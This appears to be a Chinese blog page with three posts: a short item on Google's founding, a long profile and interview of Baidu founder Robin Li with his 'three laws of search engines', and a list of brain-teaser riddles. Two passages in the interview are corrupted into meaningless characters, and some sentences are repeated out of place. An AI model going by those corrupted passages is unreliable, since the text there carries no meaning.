1998年9月,25岁的佩奇和24岁的布林决定合伙开个公司,公司提供的惟一服务就是搜索引擎。两人在对商业计划一无所知的情况下就从斯坦福校友、思科公司的现任副总裁贝托尔斯海姆那里顺利地拿到了第一笔投资:10万美元。他们的搜索引擎Google脱胎于1996年1月诞生的BackRub,后者最初只是佩奇和布林的一个课题实验。有一天,他们惊异地发现:每天有成千上万的人在使用原本只有数位导师知道的BackRub系统。两人兴致勃勃地准备出售BackRub,但当时各大门户网站对这项技术非常冷漠,佩奇和布林决定自己干。于是,1998年9月,Google就在一个车库中诞生了。在创立之初,公司除了佩奇和布林之外,就只有一个雇员克雷格-希尔维斯通,他现在是Google的技术总监。
posted @
2007-05-16 09:08 选宝网an9 阅读(270) |
评论 (0) |
编辑 收藏
【ICXO.com编者按】
然而,正是北大的信息管理专业让他深谙搜索内涵,正是美国的计算机学业让他掌握计算机工具,正是互联网让喜欢新事物的李彦宏激动不已,原来还有个世界如此美妙。
|
李彦宏简介
李彦宏,1991年毕业于北京大学信息管理专业,随后赴美国布法罗纽约州立大学完成计算机科学硕士学位。
在美国的8年间,李彦宏先生先后担任了道·琼斯公司高级顾问, 《华尔街日报》网络版实时金融信息系统设计者,以及在国际知名互联网企业-INFOSEEK资深工程师, 是新一代互联网技术领域的权威专家。
他为道·琼斯公司设计的实时金融系统, 迄今仍被广泛地应用于华尔街各大公司的网站, 其中包括《华尔街日报》的网络版。他最先创建了ESP技术,并将它成功的应用于INFOSEEK/GO.COM的搜索引擎中。GO.COM的图像搜索引擎是他的另一项极其具有应用价值的技术创新。
1996年,他首先解决了如何将基于网页质量的排序与基于相关性排序完美结合的问题,并因此获得了美国专利。1998年,李彦宏先生根据在硅谷工作以及生活的经验, 在大陆出版了《硅谷商战》一书, 获得了各界的好评。
1999年底, 携风险投资回国与好友徐勇先生共同创建百度网络技术有限公司。2001年被评选为 中国十大创业新锐之一,2002年荣获首届IT十大风云人物称号。
李彦宏印象
知识改变命运
19岁背上行李离开山西阳泉到梦想中的北大读书,23岁远渡重洋赴美国布法罗纽约州立大学主攻计算机,31岁创建中国最大的搜索引擎公司--百度网络技术有限公司,知识改变了命运!35岁的百度公司创始人、CEO李彦宏坐在北京中关村的海泰大厦会议室,望着北京四环繁华地段,想起这些年的寒窗苦读,感叹不已。也许是成长的人生路上读的书太多了,现在的他很少读书了。我认为上网比较好,书上的知识都比较过时,在网上什么内容都可浏览。
然而,正是北大的信息管理专业让他深谙搜索内涵,正是美国的计算机学业让他掌握计算机工具,正是互联网让喜欢新事物的李彦宏激动不已,原来还有个世界如此美妙。
美国8年人生历程,西方文明改变了李彦宏的人生观。李彦宏亲身感受了硅谷的腾起:他先后担任了道.琼斯公司高级顾问、《华尔街日报》网络版实时金融信息系统设计者以及在国际知名互联网企业- Infoseek资深工程师。他为道.琼斯公司设计的实时金融系统,迄今仍被广泛地应用于华尔街各大公司的网站,他最先创建了ESP技术,并将它成功的应用于Infoseek/GO.COM的搜索引擎中。
硅谷文化深深影响了他,硅谷的完全投入模式和从零开始,一切为了股票上市的风格,失败是允许的……时过境迁,读1999年李彦宏专著的《硅谷商战》一书仍让人心潮澎湃。当时身在美国硅谷,每天看到商战无数,李彦宏问自己:再去加入这场商战是不是已经太晚了?可是按照信息经济现在的发展速度,谁又能够负得起不参战的责任呢?
他要参战!在美国一批搜索引擎公司已崛起,而他选择了回国创业。他回忆这段人生抉择时说,我小时候有很强的不服输心理,越是大家不看好的事,我越是要做成。1999年底,李彦宏携120 万美金的风险投资回国与好友徐勇先生共同创建百度网络技术有限公司,并在短短6个月的时间内完成目前中国最大、最好的中文搜索引擎的开发工作?众里寻他千百度,蓦然回首,那人却在灯火阑珊处。在经历了阳泉-北京-硅谷--北京后,他才发现原来19岁时所学的北大信息管理专业就注定他终身的追求在搜索 上。
Jupiter研究公司高级分析师Matthew称,搜索是了解和影响用户行为的一个最大的机会。李彦宏打出口号:活的搜索 改变生活。
搜索是百度成功的所有秘密,李彦宏说:这是互联网用户最常用的服务之一,越来越多地影响着互联网产业,百度就是一个明证。
商战赢家李彦宏
在硅谷的日子,让李彦宏感受最深刻的还是商战气氛。他经常翻看《华尔街日报》:微软如何跳出来公然反叛IBM,又怎样以软件教父的身份对抗SUN、网景...一个个鲜活的商战故事,让李彦宏感觉到:“原来技术本身并不是唯一的决定性因素,商战策略才是真正决胜千里的因素。”
他的合作伙伴谈及对李彦宏的最大印象时,不约而同都说了睿智二字。在3年多来的合作中,令合伙人徐勇意外惊喜的是,李不仅有技术背景还对商战有敏锐的直觉和出色的判断。2002年5月从用友到百度担任副总裁的朱宏波对李评价也是:虽然以前从事技术工作,但他的商业思维和市场眼光非常独到,对搜索产业方向的把握和商业竞争的规律和规则理解得非常到位。也许这与李彦宏在硅谷的耳濡目染有关,也许与在美国股市小试牛刀,关注股市起伏与公司战略间的关系有关。李在炒股时,在纯粹的美国股市环境中,从很多公司的业绩、决策等分析到股票涨、跌的关联,从中得到商业成败的关键。
创业与守业没有哪家公司会一帆风顺。在百度成立初期,有记者写文章八问百度,其中很多问题针对其客户资源和利润增长点。现在看来,当初的一些担心并非多余,百度成立半年内狂扫国内门户网站,占领了国内搜索引擎80%的市场,但后来一些客户投靠了GOOGLE,有的自立门户自己开发搜索,市场的竞争是残酷的。李彦宏总结百度风风雨雨4 年中,面临了两次重大挑战:一是创业初期,拿着200万美金做公司,原计划花6个月花光的钱公司做了一年计划,所以坚持到9月等到第二笔融资。如果烧钱,就没有今天的百度。第二次是当世界所有使用人气质量定律的搜索引擎公司要么遭人收购,要么推迟上市时,百度根据李彦宏总结的搜索引擎第三条--自信心定律推出竞价排名。定律指出,搜索结果的相关性排序,可进行竞价拍卖。谁对自己的网站有信心,为这个排名付钱谁就排在前面。这样开创了真正属于互联网的收费模式,使百度的目标群体瞄准数十万的中小企业网站。
李彦宏找到了搜索引擎的出路。面临市场变化,见过无数硅谷商战的李彦宏也在变化中求发展。现在的百度,以搜索网站和竞价排名为主要的业务增长点,以国内数量巨大的中小企业为主要客户。这与他和徐勇为拿到第一桶金,而向投资人递交商业计划书内所写的做门户网站的生意大相径庭。
管理者的决策是这样形成的:听大数人的意见,和少数人商量,自己做决定,李彦宏就做到了。 朱宏波这样评价道。
推出竞价排名并实施闪电计划对百度实行第二次技术升级后,2003年年中的财务报表的显示李彦宏的的赌注压对了:据美国alexa统计,百度现在已经是全球第二大的独立搜索引擎,在中文搜索引擎中更是遥遥领先,名列第一,近期排名上升趋势十分明显,再加上2000多个联盟伙伴,通过竞价排名,当 6800万中国网民通过搜索引擎寻找各种信息,80%以上的用户会看到由百度提供的结果。 今年百度的收入将是去年的四到五倍。7月,在接受《福布斯》记者采访时,一向谨慎的李彦宏高兴地向外界透露。
有人评价百度的成功在于:目标明确,市场定位准确。而且头脑冷静,不跟风,不抢潮。用这句评语描述其创使人李彦宏的性格特点也是非常适当的:他知道自己想要得到的是什么,他一直坚信 ASP商业模式必将获得成功,他知道自己所专注的,而别人做不到同样程度的就在搜索领域;在互联网高潮时,他能预言对于国内公司的烧钱做法,国外的投资人要吃亏,在互联网低谷时他能鼓励员工不要看到眼前利益要把眼光放得长远些……
经历恶风巨浪,李彦宏承受了来自各方的压力,让足够少的人知道风浪,掌舵百度一路乘风破浪。
海归李彦宏
有人曾说:世界上多数优秀的程序员天生偏执狂,总会认为自己做的东西才是最完美的。李彦宏不编程已有很多年了,这种性格特点在他作为公司最高管理层时并无体现。他说他自己还有很多不足,他知道自己不是正规化的职业经理人,他想学的东西还很多,他能侧听别人的想法,在公司内部会议主张大家自由交流,甚至为了讨论“可以不给我面子。”
这个公司的创业因子,带有浓烈的硅谷文化,并在中国本土继承和发扬。没有严格的等极观念,可以自由的发言。随着公司的扩大这种文化还在延续。但一旦讨论成为决策时,就要不折不扣执行。
李彦宏稳健的风格不是他的同龄人都能俱备的。于是百度又秉承了这种风格,在过去4年中,一步步从8个人发展到了150人;从拿到DFJ第一笔融资到现在传闻摩根士丹利、高盛、瑞士信贷第一波士顿等公司都在积极录求百度海外上市的合作;从第一个客户硅谷动力发展到现在的2万客户。
海外归来也在适应中国的环境。 2000年1月1日,李宏彦面对5个员工宣布了两条公司制度:公司里不许抽烟和带宠物。共同的海外背景面对同样的本土环境,李彦宏和合作伙伴徐勇分别负责技术和销售,4年来一直是密切合作与互补的关系,虽然有分歧,有争吵,但遇到困难时大家同心协力一起扛过去。
在浮躁的互联网产业,李彦宏以一种另类的平和心态,不急功近利,不随波逐流,在专注经营搜索领域中自己这一亩三分地。
所有百度的华尔街投资人对百度公司的运作非常满意,专注的技术发展,节俭的支出,仍取得了公司整体价值的提升的成绩。
观察家李彦宏
李彦宏帅气的长相加上儒雅谦和的性格,容易给人亲和感。然而内向的他却不擅长与人交往,更像社会的观察家。无论在公共社交圈还是平时的运动中,他更多时间沉默不语,在观察着这个社会和这些人与事。
他的生活是简单的,每天花费时间最多的就是上网,在美国学习时开的是二手的本田,现在回国创业后仍是开本田车。因为家人在硅谷,他每3个月去一次美国用两个星期时间与家人团聚。
内秀的性格让人以为他不会做秀。可是2002年底的百度激情夜 李彦宏的出场让人有张朝阳的感觉:又一个做秀的CEO。百度市场总监毕胜对此评价:Robin(李彦宏英文名)放在哪里哪里亮。
李彦宏的爱好比较广泛,像打高乐夫、滑雪、游泳等,玩伴多数是在硅谷时认识的工程师朋友还有公司的同事,合作伙伴、大学同学等。
像很多硅谷技术人员的理想一样,李彦宏的理想是希望靠技术改变世界。希望自己做的事能改变大多数人的生活方式,让足够多的人受益,这是我的人生理想和目标。无论当初做Infoseek还是现在做百度,我看到每天有上千万的人在用自己的技术,大家从中受益了,我心里就特别高兴,觉得对社会做出了贡献。而且现在这个社会越来越趋向合理,你对社会做出贡献了,社会也会给予你同样的回报。
管理公司4年,李彦宏经常会感觉自身还有许多地方需提升。我毕竟不是一个受过正规训练的职业经理人,现在要做职业经理人做的事情。有时候,遇到自己从来没有见到的事情,都要靠学习甚至感觉来做事。 他希望如果有一天能够找一个合适的CEO的时候,让自己更轻松一些。他甚至想到了到时候退休,退休以后周游世界是我的生活理想。其实,在高中时候的李彦宏,个人兴趣并不在理科,他对历史和地理兴趣更大。
有一定经济基础后我就一直想到处看看,然后在自家园子里种些蔬菜、水果之类的东西。 李彦宏的眼光穿过记者,望着远处,呈现满眼的向往。
李彦宏对话
那时候技术实力也不够,花市场费用可能两块钱才能取得一块钱的效果。现在技术成熟得到认可,那么市场方面一块钱取得两块钱的效果时,我们就会大力投入了。
《新经济导刊》:您在2000年向8个员工宣布了一条纪律:办公室不许抽烟不许养宠物。一条纪律看得出东西文化交融成份隐含其中。东、西方文明对您的影响分别在哪里?
李彦宏:不许抽烟这条纪律在美国公司是不需要特别声明的,但我知道在中国的公司需要申明。不许带宠物是针对西方的文明制订的,在一些美国的公司是允许携带宠物上班的。这条纪律把百度的定位说清楚了:结合了东西方文明的公司。如果要套用一些哲学观点可以说是中国的中庸之道。
东、西方文明的最大影响分别在于:现代企业制度是西方文明的影响,但在具体事情的细节和执行方面是按照东方人的思维的做法来处理。我有时候在想,所谓海归回国,都应该做到两件事:一是适应大环境;即按中国的实际情况学习做事的方式。二是营造小环境。在公司内部按照现代企业制度来运营公司。
《新经济导刊》:有人说百度做事:方向明确、不跟风不随流,这很像是您的性格特点。百度为什么在市场前期一直保持低调作风呢?您提到的病毒营销具体指什么?
李彦宏:每一个企业的做事风格很大程度上和他的创始人的性格是一致的。。准确地说是百度对自己的地位想得比较清楚,不太愿意跟人争什么,这也与当时的实力有关系。两年前,如果像其他的.COM 一样去烧钱,很张扬地做各种事情,我认为会得不偿失。那时候技术实力也不够,花市场费用可能两块钱才能取得一块钱的效果。现在技术成熟得到认可,那么市场方面一块钱取得两块钱的效果时,我们就会大力投入了。
当然即使现在,百度也不很张扬,这与分类搜索的技术行业有关。搜索引擎有两个特点:一是免费的;二是没有转换成本。由于这两个特点,决定了搜索引擎主要靠口碑来传播,用了以后觉得好会告诉其他的人。这样只需要花很少的钱,就可以取得很好的效果。
也正由于搜索引擎的这两个特点,使其具备等同于基于WEB的E-mail这种工具的相同传播手段--病毒性扩张,也叫病毒营销。用户群的扩张非常快。我们从今年年初以来看到搜索流量的巨幅扩张也映证了这种说明。病毒性扩张即指繁殖得非常快。这个词是百度的投资人之一DFJ(硅谷排名前五名)创造的。 DFJ用两年时间花了100万美金投资了Hotmail,然后以4亿美金卖给了微软套现。Hotmail的成功,被DFJ总结为病毒营销的结果:一旦你使用了该邮箱发邮件就等同于告诉无数收件人自己使用的是Hotmail,故一传十、十传百地发展起来了。从此,病毒营销也被人们列为营销方式的一种。搜索引擎也有这种特点,一旦人们经常用,就会开始人传人。像GOOGLE在中国的市场一分钱也没花,但就有人认同了,也是这样的原因。
《新经济导刊》:对于公司的管理采取什么方式?如何选择你的经理层和员工?
李彦宏:百度实行的是弹性工作制,我对企业的管理采取刚柔并济的方式。在公司员工方面,我认为我是幸运的。百度刚创业时,只有8人员工,当时除了我和徐勇是刚从国外回来的外,没有一个人在正规公司做过事,后来他们都很快成长起来,并成为中坚力量,在公司的发展起了关键的作用。
近两年来,注意引进企业管理人才。否则只局限这几个有那么大家的优点和缺点都是相同的。从外界引进的人才对规范的市场操作和扩大市场都有好处。这些人也成为公司的管理成员,对于公司的重大决定参与讨论决策。开会时,经常会有人站出来反对我,因为在公司已经有一种根深蒂固的思想:我说的不一定是对的。于是有人敢于并且愿意表达自己的观点。(记者:主要是提了意见没被打击报复,所以不必担心言多必失吧!)是呀,我认为我的面子并不重要。我发现刚进入百度的一些其他职业经理,在刚开始几次会议时,在发言前先要花几分钟时间说些冠冕堂皇的话,然后再阐述自己的观点。我告诉他,这样做完全没必要,在百度你想说什么就说什么。当然,遇到意见不一致时我来拍板决定。
我对ASP的模式是将来的发展方向的信心是不会动摇。
《新经济导刊》:百度第一个产品在2000年,到现在3年过去了几易其版,从一开始躲在幕后做ASP,到在网上做自己的简洁搜索网页,到现在有许多互动的百度在线搜索。下一步您的技术创新点在哪里?
李彦宏:我们在今年3月份提出口号活的搜索改变生活。即指下一步发展重点在互动性上大大增强,像社区性的特点会增加进来。这样,对增加用户的粘性有很大的帮助,并通过搜索社区让自己有归属感。这种归属感是社会的重要特点,像百度的搜索论坛上现在已经有很多帖子,除了可以贴帖子寻求搜索帮助外,还可以自发地发贴所有网民参与评选今年最受欢迎的MP3音乐榜排名。与网易的社区区别在于这是搜索的社区。这样,不是冷冰冰地使用工具和找东西。
百度称这个社会为搜索公社。当然更大的东西还在后面,现在没有推出,所以我还不能说。
《新经济导刊》:我知道在国内第一个选择百度产品的是硅谷动力的卢建,现在百度的客户构成是哪些?
李彦宏:硅谷动力CTO卢建的做法使我们的产品被市场所认可。现在他自己做的医疗方面的网站还在竞价排名方面与百度合作。我认为,无论刚开始时迅速增长的网站客户,还是现在迅速发展的中小企业客户,百度这样的搜索类网站能为他们提供竞价排名这样费用少而且效果好的服务。我认为国内到目前为止都没有一家与百度竞争的对手。
“俣鹊耐妨侥曜ㄗ⒂谧黾际跆峁┥蹋蛭ㄗ⑺阅孟铝怂型镜乃阉饕娣瘛:罅侥暝诿髦械贸鼋崧郏旱サタ棵呕舅阉饕娌换嵊刑蠓⒄埂K院罅侥臧俣鹊闹匦淖频搅司杭叟琶囊滴裆稀D壳翱突�家,我预计将来会发展到10万家、20万家以上。由于数目非常庞大,故分散在各行各业中。在选择竞价排名时,大的企业可能一年花两、三百万,小企业可以一年花二、三千元钱。他们对百度的长期发展很有影响。
《新经济导刊》:竞价排名对于一个搜索引擎而言,是否有失其公正性?
李彦宏:我认为竞价排名有其天然的合理性。我曾讲过搜索引擎的三定律,其中第二定律是:自信心定律。任何一个买这个业务的人,其生意一定与此密切相关。而上网找东西的人搜到的一定是与关键词相关的东西,这点是不矛盾的。而且,在百度凡是付费的都会在后面标注是推广网站,并且在其后有一个链接,说明竞价排名的内涵。如果买的东西与业务不是足够相关,我们会把其去除。
故有两条要注意:一是在相关性上有所控制;二是清楚标明竞价排名。这对于网友来说,我认为是公正的说法。
《新经济导刊》:推出自己的搜索网站,您对ASP仍然抱着当年的信心吗?
李彦宏:我对ASP的模式是将来的发展方向的信心是不会动摇。最早的ASP是从门户网站开始做的,提供其于互联网的E-mail,搜索引擎也是ASP。在此这前,大家可能想买微软的软件装在电脑里,所有的软件都安装好了直接运行搜索就行了。但在互联网时代,这种模式显然是行不通的。网络化时代大家现在比较认可的就是百度这样的搜索引擎已把所有链接计算好,任何一台机器只要能上网,基本上在一个搜索框内可以把全世界互联网上的信息调出来。应该说,这映证了我若干年前对ASP是一个发展方向的论证。
我预计今年国内市场是5000万美金。今后若干年至少以100%的速度增长。增长点在于越来越多的中小企业尤其是BTOC企业。
《新经济导刊》:将来百度的主要客户群是中小企业,那么搜索有主动与被动,是否考虑过给客户群提供个性化定制服务?
李:这不是一个新问题而是一个老问题。学术界研究了很多年,工业界也有成功先例。我在上大学时就研究过这方面技术。在华尔街时也提供过相关服务。当时我们称之为SDI,即选择性、定量性。例如客户只对股市中的几支股票感兴趣,那么只要把股票名称作为关键词输入,新的东西就可以直接发送到客户端。因为我曾经系统地做过相关技术,了解其技术框架,所以我认为这是技术壁垒非常低的领域,技术不成问题。目前关键要考虑的因素是这种模式下市场是否成熟,是否有人认可愿意为此付费。因为这种方式相对来说成本比较高。像用免费搜索时,网民通过门户网站如新浪、搜狐、网易等进行搜索,因为资源都一样,所以信息可共享。一旦订制,不同的人得到的信息就不一样了。所以,终端用户是否愿意付费是关键。
我相信目前客户是认同的,但成本是否能收回来是问题。所以现在我不担心市场会被其他人瓜分,担心的是市场的大小和增加速度的问题。
《新经济导刊》:您怎样预估对搜索引擎未来市场?
李:我预计今年国内市场是5000万美金。今后若干年至少以100%的速度增长。增长点在于越来越多的中小企业尤其是BTOC企业,会逐渐意识到搜索引擎对他们的服务、销售的意义和价值。
我认为搜索引擎是一个技术含量非常高的业务,如果不专注是做不好的。
《新经济导刊》:目前微软、雅虎、TOM、腾讯、3721、慧聪等公司(当然也包括Google),以及互联网监管机构中国互联网络中心(CNNIC)都以不同的形式参与了搜索市场的规范、发展和博弈。您怎样看待百度面临国内外搜索市场的竞争环境?
李彦宏:我不认为他们会对百度的发展有什么影响,我们该做什么还在做什么。对于百度而言,最大的挑战是市场发展快慢、成长速度、容量大小的问题。而不是这些网站的一些行为。我认为表面的东西比较好学,但精髓的东西是没有人能够学得来的。
《新经济导刊》:您非常自信,那你认为你对网络搜索的最大贡献是什么?
李彦宏:最大贡献可以说是我提出来的搜索引擎三定律中的第二定律。而且后来几乎所有的做搜索的人都认同了这个观点。第二定律我叫它人性质量定律,实际上是超链分析。它超出了情报学的概念。
《新经济导刊》:你说:要明确自己的位置。这句话具体所指是什么?
李彦宏:有时我感觉搜索的概念被大家用滥了。有人觉得在yahoo上查一支股票的行情,因为查到了所以这个过程也是搜索。其实,搜索引擎的本质与其他搜索差别很大。如果从商业角度来看,搜索引擎与其他搜索最本质的区别在于这就是目标广告平台。如果都是杯子,搜出来的是卖杯子的。当然,这从个人的兴趣可以从搜索中体现,这就是搜索的美妙之处。你认为没有用的是不会出现的,只会把想要的信息搜出来,提供个性化的服务。
搜索引擎的技术门槛太高了。不是一个公司能够同时做十件事其中还有一件事是做搜索引擎,当初雅虎起家时,就决定放弃搜索引擎,原因就在于其技术壁垒太高。其他几个搜索公司如: Infoseek、Excite等公司一开始发展势头都不错,但后来看到市场什么火就什么,决定做门户网站后,公司发展就慢下来了,后来搜索引擎也没做起来。所以,我认为搜索引擎是一个技术含量非常高的业务,如果不专注是做不好的。对于任何创业者和高度成长的企业,需要不断地随着市场的变化而调整自己。也许项目过一年后有人说不行,但人有应变能力,总能找到更好的东西来支撑公司的发展。而且因为我们是高速成长的公司,所以相对来说要看得长远一些,可能一开始做某个产品并不赚钱,但不能只看眼前利益。
也许项目过一年后有人说不行,但人有应变能力,总能找到更好的东西支撑公司的发展。
《新经济导刊》:近来为什么像新浪等门户网站为什么忽然不用百度了?
李彦宏:做搜索引擎如果只傍着门户网站是没有前途的,百度的策略是做好竞价排名,做好搜索网站。认为百度有价值的网站我们还会提供最好的服务技术,但我们并不追求更多的门户网站加入。就像 IBM的主要竞争力不在PC上,但它仍然生产笔记本,是因为有客户就喜欢用IBM的笔记本产品。同样,给门户网站提供检索,对于我们的策略合作伙伴真的喜欢用百度的产品,我们也乐意为其提供服务,当然我们清楚这块领域并不赚钱。建议大家把眼球注意力放在更大数量和规模的中小企业客户群中。
《新经济导刊》:百度公司面临的最大挑战是什么?公司的几个关键转折点分别发生在什么时候?
李彦宏:市场的成熟度与否是对公司的最大挑战。对于任何创业者和高度成长的企业,需要不断地随着市场的变化而调整自己。也许项目过一年后有人说不行,但人有应变能力,总能找到更好的东西来支撑公司的发展。而且因为我们是高速成长的公司,所以相对来说要看得长远一些,可能一开始做某个产品并不赚钱,但不能只看眼前利益。
“俣确⒄故飞嫌辛郊笫拢�
第一件事是2000年9月拿到1000 万美元的第二笔融资。因为2000年4月纳斯达克股崩盘,能在此时拿到融资着实不易。我们一开始在做公司时说我们第一笔200万美元的投资花销用于 2000年1月到6月,而第二笔钱9月才到。如果真的按6个月时间把钱花完了,现在就没有百度了。实际,拿回钱后,我向公司的人说这钱要用一年,为的是防止市场发生大的变化。当时有人提议要把办公地址租在国贸、嘉里中心等,但是我选择了北大资源楼,就是要把钱省着花。在2000年初的时候我就说过这些美国的风险投资要吃亏,因为我所经历的在美国硅谷成功的IT不是这种烧钱的玩法。我们没有烧钱,所以在当时市场每况愈下的时候,我们拿到了融资。这使公司发展相对来说稳定、长远一些。如果那时钱花完了,而有个投资商过来说,我没有1000万美元,但我有100万美元,我要占你30%的股份,那我们就完了。因为没有钱了,只好拿这样的条件去交换,对于公司的成长非常受打击。
第二件事是推出竞价排名。如果当时我们还按照我们给风险投资商讲的故事来做的话,那也不会有现在百度的良好运营状况。因为当时门户网站都想着是怎样省钱而不是怎样花钱来买技术。所以,如果按那条路走,永远是亏钱的,公司也没有成长性。
一是卖给上市公司;二是上市。我们不排除任何可能性,但目前的想法就是上市
《新经济导刊》:百度会进军国际市场吗?
李彦宏:如果要走入国际市场,百度第一个要出的可能是日文版或韩文版。前提在当我们发现国内的搜索引擎市场增长速度,比我们期望的要慢的时候,我们会选择进军国际市场。因为目前从技术上来看,这两个市场的竞争还不激烈,从技术的优秀程度来讲,还没有哪个公司来与百度竞争。而在美国,GOOGLE的品牌很强大,百度如果上英文版的话压力会很大。
《新经济导刊》:百度的创业依靠了资本市场的力量,得到VC的青睐,此后有两年时间在资本市场上一直没有动作。将来在此方面有何想法?
李彦宏:我认为公司不同发展阶段,在资本市场上运作的策略不同。可以说百度的起家虽然是靠VC,但是如果没有创始人前期的准备,VC凭什么给钱。先有哪怕在商业计划书上的纸上谈兵,对某专业有一定基础,才能让投资人信服。对于百度来说,我们先认准了搜索引擎有前景,然后才去做。想好了才去找钱,有了支持才去开发产品寻找客户,做到一定阶段后再去资本市场上运作。现在短时间内我们有了足够资本的支持,重点就是推出新业务和发展客户。
当然,对于VC来说,一定要退出,退出有两种渠道:一是卖给上市公司;二是上市。对这两种方式,我们不排除任何可能性,但目前的想法就是上市。至于什么时候上市我现在不能多透露。
《新经济导刊》:与VC发生过分歧和冲突吗?
李彦宏:总体上没有冲突,因为大家的利益是一致的,并非像其他人所说知本与资本总在较量。从百度发展过程来看,由于一开始把企业的基本框架搭得比较合理,就避免了很多冲突。百度的股份构成:创始人、投资商、员工各占一部分,每个人的利益都在此架构下体现。投资人就希望百度发展得好,将来赚更多的钱。当然,在细节上也会有不同意见。例如两年前百度想要推出搜索网站时,董事会很多成员都在反对,基本上是代表风险投资的人。我告诉他们:目前百度的客户主要是门户网站,但是一年后我认为我们客户的数量不会乘以二,我们在此产品上的收入不会乘以二。VC想要有高回报想要退出,这个公司必须每年以高速度类似百分百的速度成长,而当时百度是亏钱的,不可以再坚持这样的亏损模式发展了。要想有高成长速度,就必须把重心转移到其他地方,要想有自己的发展就必须有自己的自主流量,而不是依靠门户网站来维持。当时力排重议,坚持了推出搜索门网,在今天看来,这个决定是正确的。
当时有个投资人是从INKTOMI,认同搜索引擎是为门户网站提供服务的观点,而不太认同搜索引擎推出自己的搜索门户。但最后我成功地说服了他们。
硅谷的生活
李彦宏
1994年暑假之前,我接到华尔街一家小公司(其实是道o琼斯的子公司)的聘书,要我立即去工作。那时候,我们这些留学生中有一股风气,就是读博士的一旦找到工作就会放弃学业,拿一个硕士文凭就走人。起先我以为自己不会这样,也曾回绝了硅谷一些公司的工作机会,这种作法在当时的中国留学生中也很罕见。然而这家华尔街的小公司很特别,老板非常聪明,当年曾进了美国西屋奖的决赛圈,到白宫去而见总统。公司里的人对我非常热情,老板对我的研究也非常欣赏,而且他虽然是公司的总裁,却对学术研究有很深的造诣,所以我们谈得非常投机,大有相见恨晚的感觉。罢!罢!罢!士为知己者死,我就最后下了决心离开学校,接受了这家公司所谓高级顾问的职位。
一晃就是三年半,这段时间我做的是金融信息系统,每天都跟那些实时更新的金融新闻打交道。我对IT行业的公司特别有兴趣,每天都读很多这方面的消息,也常常跟同事们讨论业界发生的大事。这段经历为我撰写本书打下了很好的基础。本书讲的事情基本上都是1994 年以后发生的,很多事情当时在我脑海里留下了很深的印象,所以现在写出来觉得很顺畅,甚至有不吐不快的感觉。
我从1994年底开始接触万维网(Web),当时很快就上了瘾。好在我们当时在给《华尔街日报》做网站,所以在万维网上浏览就是我工作的一部分,无可厚非。后来我离开了华尔街,来到硅谷,加盟搜索引擎Infoseek。这下我的做大家都需要的东西的理想算是有了用武之地。现在,每天看着数百万人在使用自己设计的东西,心里真是有说不出的满足感。
硅谷的中国工程师很多,平常大家聚在一起,自然免不了要谈谈各自的公司、业界的情况,谁谁又通过员工股权(Employee stock options)赚了钱,别墅买到山上去了之类的事情。当然大家最关心的还是哪家公司的股票有可能涨。硅谷虽说是靠高科技吃饭的,但真正决定股票升降的还是各家的商战策略,所以写一本硅谷商战的书的主意也就形成了。
我的住所离网景公司很近,有时候晚上吃完饭到那里去散步,看着一栋栋的办公楼拔地而起,尘土飞扬的建筑工地变成漂亮的网景工业园区,又让我一次次地感叹信息经济的魔力。在寸土寸金的硅谷中心地带,这样的新楼一直在不断地出现,以至于这里的人认为所有这一切都是理所当然的。最近微软又耗巨资在我所住的山景城购买了一大片土地,准备在它的两个宿敌--太阳微系统公司总部和网景公司总部之间建立一个微软工作园,届时,硅谷商战必然又会好戏连台。
--1998年11月《硅谷商战》自序
搜索引擎三大定律
李彦宏
第一定律 相关性定律:情报检索、信息检索或全文检索的相关性都是基于词频统计的。当用户输入检索词时,搜索引擎去找那些检索词在文章(网页) 中出现频率较高的,位置较重要的,再加上一些对检索词本身常用程度的加权,最后排出一个结果来(检索结果页面) 。
第二定律人气质量定律:解决了技术问题。科学引文索引机制的思路移植到网上就是谁的网页被链接次数多,那个网页就被认为是质量高,人气旺的。在加上相应的链接文字分析,就可以用在搜索结果的排序上了。根据这一定律,搜索结果的相关性排序,并不完全依赖于词频统计,而是更多地依赖于超链分析。这条定律也成为李彦宏申请的美国专利。
第三定律自信心定律:根据这一定律,搜索结果的相关性排序,除了词频统计和超链分析之外,更注重的是竞价拍卖。谁对自己的网站有信心,谁就排在前面。有信心的表现就是愿意为这个排名付钱。自信心定律一改过去搜索引擎靠CPM收钱的尴尬局面,开创了真正属于互联网的收费模式。在中国,百度一直致力于推动搜索引擎市场的培植和发展,现在,我们联合了各大门户网站的搜索引擎,一起通过百度的竞价排名系统来实践搜索引擎的第三定律,为数十万网站的拥有者提供一个展示自信心,吸引潜在客户,发现销售线索的平台。
|
posted @
2007-05-16 09:04 选宝网an9 阅读(345) |
评论 (0) |
编辑 收藏
小王一边刷牙,一边悠闲的吹着口哨,他是怎么做到的?
答案:刷的是假牙
什么门永远关不上?
答案:球门
船边挂着软梯,离海面2米,海水每小时上涨半米,几个小时海水能淹没软梯?
答案:水涨船高,所以永远不会淹没软梯。
汽车在右转弯时,哪一条轮胎不转?
答案:备用轮胎
什么书你不可能在书店里买到?
答案: 秘书
什么水永远用不完?
答案:口水
一人被老虎穷追不舍,突然前有条大河, 他不会游泳,但他过去了,为什么?
答案: 吓昏过去了
模样相同的哥俩同时应征入伍,他们有血缘关系且出生日期及父母的名字完全相同。连长问他俩是不是双胞胎。他们说不是。请问这是为什么?
答案:三胞胎中的两个
监狱里关着两名犯人,一天晚上犯人全都逃跑了,可是第二天看守员打开牢门一看,里面还有一个犯人?
答案: 逃跑的犯人名字叫“全都”。
用什么可以解开所有的谜?
答案: 答案
当今社会,发财的个体户大都靠什么吃饭?
答案: 嘴巴
什么东西要藏起来暗地里用,用完之后再暗地里交给别人?
答案: 底片
放大镜什么都可以放大,但有一样东西不能放大,是什么?
答案:角度
六岁的小明总是喜欢把家里的闹钟整坏,妈妈为什么总是让不会修理钟表的爸爸代为修理?
答案:因为妈妈让爸爸好好的修理一下小明
什么时候,时代广场的大钟会响13下?
答案:该修理的时候
早晨醒来,每个人都要做的第一件事是什么?
答案: 睁开眼睛
一位卡车司机撞倒一个骑摩托车的人,卡车司机受重伤,摩托车手却没事?
答案: 卡车司机当时没有开车
在古时侯,什么人没当爸爸就先当公公了?
答案:太监
小李喝酒,撞伤了脸,回家怕太太知道会责备,去洗手间对着镜子贴上创口贴,可第二天还是被太太骂了一顿,为什么?
答案: 创口贴在镜子上
如果有人向你问路,你最怕听到哪一句话?
答案: 这里是地球吗?
哪种比赛,赢的得不到奖品,输的却有奖品?
答案: 划拳喝酒
小张被关在一间没有上锁的房里,可是他使出吃奶的力气也不能把门拉开,这是为什么?
答案:推开就可以了
